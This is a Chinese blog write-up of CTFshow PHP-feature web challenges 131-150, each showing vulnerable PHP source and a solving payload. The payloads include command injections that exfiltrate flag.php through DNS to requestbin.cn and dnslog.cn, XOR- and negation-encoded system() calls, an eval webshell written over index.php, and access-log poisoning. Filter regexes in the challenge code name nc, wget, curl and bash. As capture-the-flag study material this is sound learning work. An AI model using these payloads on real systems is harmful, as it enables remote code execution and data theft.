CTFshow web入门 php特性web131-150

已于 2024-08-18 16:21:51 修改
阅读量746 收藏 23
点赞数 26
文章标签： 前端 php
于 2024-08-18 16:16:36 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/potatojiang/article/details/141069057
版权

web131

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

这里满足了第二个判断第一个就过不了，考虑正则溢出

preg_match 函数的栈溢出会使其返回 false

payload

POST:
f=25000*show+36Dctfshow

web132

这里给力一个网页，访问root.txt

发现有一个admin，访问


#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

运算优先级的问题

先进性$code === mt_rand(1,0x36D) && $password === $flag判断，然后进行||判断

payload

?username=admin&password=b&code=admin

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

这里参考了ctfshow web133和其他命令执行的骚操作-CSDN博客

代码的作用是将$F的钱6个字母截断，然后执行，6个字母肯定不够的，现有扩容的话就得传入参数本身

?F='$F' 需要执行的代码

首先执行substr函数，就是

eval('$F )  
而?F='$F' 需要执行的代码，就变成

eval(''$F' 需要执行的代码' )

然后就用curl去带出flag.php

payload

?F='$F'; ping'cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"'.requestbin.cn:80/1fg4ri11

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
  1. 使用 highlight_file(__FILE__) 来高亮显示当前文件的源代码。
  2. 初始化 $key1 和 $key2 为 0。
  3. 如果 $_GET 或 $_POST 请求中包含 key1 或 key2，脚本会输出 "nonononono" 并终止。
  4. 使用 parse_str 解析 $_SERVER['QUERY_STRING'] 中的查询参数，并用 extract 将 $_POST 数组中的变量导入到当前符号表中。
  5. 如果 $key1 和 $key2 的值都为 '36d'，则读取并输出 flag.php 的内容。

payload

?_POST[key1]=36d&_POST[key2]=36d

web135

133的puls版

payload

?F=`$F`;ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn

web136

error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

payload

?c=ls /|tee 1   #将目录放在1文件里面
?c=cat /f149_15_h3r3|tee 2   #将flag文件放到2

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

直接调用

payload

POST:
ctfshow=ctfshow::getFlag

web138

和137类似，但禁用了冒号

payload

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

我们用数组绕过strripos，因为是数组，所以会返回null，通过pandun

ctfshow[0]=ctfshow：数组的第一个元素是字符串 "ctfshow"，表示类名。
ctfshow[1]=getFlag：数组的第二个元素是字符串 "getFlag"，表示类的静态方法名。

call_user_func($_POST['ctfshow']); 将解析为 call_user_func(['ctfshow', 'getFlag']);，这将静态调用 ctfshow::getFlag() 方法。

web139

这题不太会

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

paylaod

f1=system&f2=system

web141

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

这里v1v2只能够用数字，v3是特殊字符，我们用异或的方式构造

这里或，异或，取反等运算都可以

采用羽师傅的payload

#system('cat f*')
?v1=1&v2=1&v3=%2b(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)%2b

web142

payload

?v1=0

web143

比141多了一些过滤

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

这里把v3的减号换成乘号就好

web144

这里我们换一下顺序就行

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

payload

?v1=1&v3=-&v2=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)

web145

这题把加减乘除都屏蔽了，而且异或也被ban了

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

payload

#system('cat f*');
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

145的照样适用

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

这里我们可以控制函数名以及第二个参数

payload

GET:
?show=}system('tac *a*);/*
POST:
ctf=\create_funtion

web148

我们用异或可以


include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

payload

(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff);

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

代码的意思就是将目录里面的文件除了index、以外的删除

我们覆盖掉index就行

payload

GET:
?ctf=index.php
POST:
show=<?php eval($_[POST[1]);?>

web150

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

日志包含即可

paylaod

User Agent:
<?php eval($_POST[1]);?>
POST:
ctf=/var/log/nginx/access.log&1=system("tac *a*");
GET:
?isVIP=ture

web150plus

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

这里我们用.代替_

payload

?..CTFSHOW..=phpinfo

flag就在phpinfo里

potatojiang
关注
ctfshow web入门 PHP特性后篇(web133-web150)
ccfly1012的博客
09-13 1898
目录 web133 web134 web135 web136 web137 web138 web139 web140 web141 web142 wen143 web144 web145-web150 web133 error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|net
ctfshow WEB入门 文件上传151-170_ctfshow web入门文件包含167(1)
2401_84297265的博客
04-28 824
只是过滤了分号，其他同上。php的最后一个分号可以省略。
ctfshow web入门 php特性 web123--web139
2301_81040377的博客
04-06 1052
web133一样的东西但是我们的grep被过滤了，所以得思考一下怎么才行，但是反斜杠引号什么的没过滤，就可以用来绕过。拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}必须传CTF_SHOW，CTF_SHOW.COM 不能有fl0g。就可以绕过对**isset($fl0g)**的判断，用+代表空格。先点击左边的获得域名，然后传参之后再点击右边的刷新结果。他这里对这个就讲的特别详细了，我抄一下。然后我们就可以进行类似的构造。就用argv的方法来写。
ctfshow web入门 php特性 web140--web150plus
2301_81040377的博客
04-06 1093
是 PHP 中的一个函数调用，该函数会使当前脚本暂停执行指定的秒数。这里的 $d 是一个变量，表示需要让脚本等待的秒数。是一段 PHP 代码，它使用了正则表达式函数 preg_match 来检查变量 $v3 的值是否完全由非单词字符组成。：从HTTP请求（GET参数ctf）获取文件名，并将POST请求体中的show参数内容写入到该文件中。加减异或什么的过滤了但是还有取反，所以可以用之前的payload。PHP中，数字是可以和命令进行一些运算的，例如。”），则包含（执行）$ctf 参数所指定的文件。
ctfshow web入门 php特性 web131-web135
m0_62207170的博客
10-05 681
ctfshow web入门 php特性 web131-web135
CTFshow web入门 php特性web89-130
potatojiang的博客
08-09 734
看代码我们直接用空数组绕过就行。
CTFSHOW WEB入门 命令执行 web29-web36
m0_53194713的博客
06-26 1324
ctfshow web29 web30 web31
ctfshow web入门文件包含82-86
xiaolong22333的博客
12-14 2366
知识点： 利用session.upload_progress进行文件包含 条件竞争 思路就是通过上传PHP_SESSION_UPLOAD_PROGRESS来访问/tmp/sess_xxx,从而进行文件包含 原理可以看这篇文章利用session.upload_progress进行文件包含和反序列化渗透 其中主要的几点 首先上传PHP_SESSION_UPLOAD_PROGRESS，代码如下 <!DOCTYPE html> <html> <body> <f
ctfshow-web入门-命令执行-web31
HkD01L的博客
06-24 904
ctfshow,命令执行，web31
前端用html写excel文件直接打开
全易
09-10 562
html文件直接用excel打开
[项目][WebServer][日志设计]详细讲解
SnowK博客
09-11 4405
[项目][WebServer][日志设计]详细讲解
前端HTML+CSS+JS的入门学习
m0_59247951的博客
09-10 1473
和</p>，其中<p>是开始标签，表示一个段落的开始，而
​美​团​一​面​
最新发布
qq_43858368的博客
09-14 928
同步代码：按照代码的书写顺序立即执行。异步代码：通过关键字，异步操作会被放入微任务队列中等待执行。事件循环：在同步代码执行完毕后，事件循环会检查并执行微任务队列中的任务。async2script endasync1 end这个顺序反映了JavaScript中同步与异步代码的执行机制以及事件循环的工作原理。定义：HEAD请求是一种HTTP方法，它请求服务器返回与GET请求相同的响应头部，但不返回响应的主体部分。用途：主要用于获取资源的元信息，如文件大小、最后修改时间等，而无需下载整个资源。定义。
经验笔记：Web 浏览器存储手段
qq_45831414的博客
09-10 852
以上就是使用 IndexedDB 的基本步骤。IndexedDB 提供了强大的数据存储能力，并且可以通过索引来优化数据检索性能。在实际应用中，可能还需要处理更复杂的场景，比如数据迁移、错误处理等。务必确保你的代码能够妥善处理各种异常情况。
水平居中的几种方法（总结）
致未来的你。的博客
09-11 704
水平居中的几种方法（总结）
前端项目node版本问题导致依赖安装异常的处理办法
weixin_44703272的博客
09-14 164
解决前端项目中的Node版本问题通常涉及以下步骤：检查项目文档：查看项目是否有特定的Node版本要求，如果有，确保你的Node版本与之兼容。使用Node版本管理器：如nvm（Node Version Manager）或n。它们可以让你在同一台机器上安装和切换不同版本的Node。
JS笔记
2201_76100326的博客
09-11 486
Math对象属于Javascript内置对象，无需实例化（不需要添加new ），可以直接使用。只有一个Math.PI的属性。
Web日志分析工具GoAccess
墨痕诉清风的博客
09-09 1480
GoAccess是一个开源的实时网络日志分析器和交互式查看器，它可以在 *nix系统的终端上运行，也可以通过浏览器运行。它为系统管理员提供了快速而有价值的HTTP统计数据，这些统计数据需要动态的可视化服务器报告。中文网站GoAccess - 中文站 - 可视化 Web 日志分析工具。
ctfshow web入门 php特性
03-16
PHP是一种开源的服务器端脚本语言，主要用于网站开发。它支持多种数据库和操作系统，并且可以与HTML、CSS和JavaScript等语言结合使用。常用的特性包括变量、数组、循环、条件语句、函数、类和对象等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值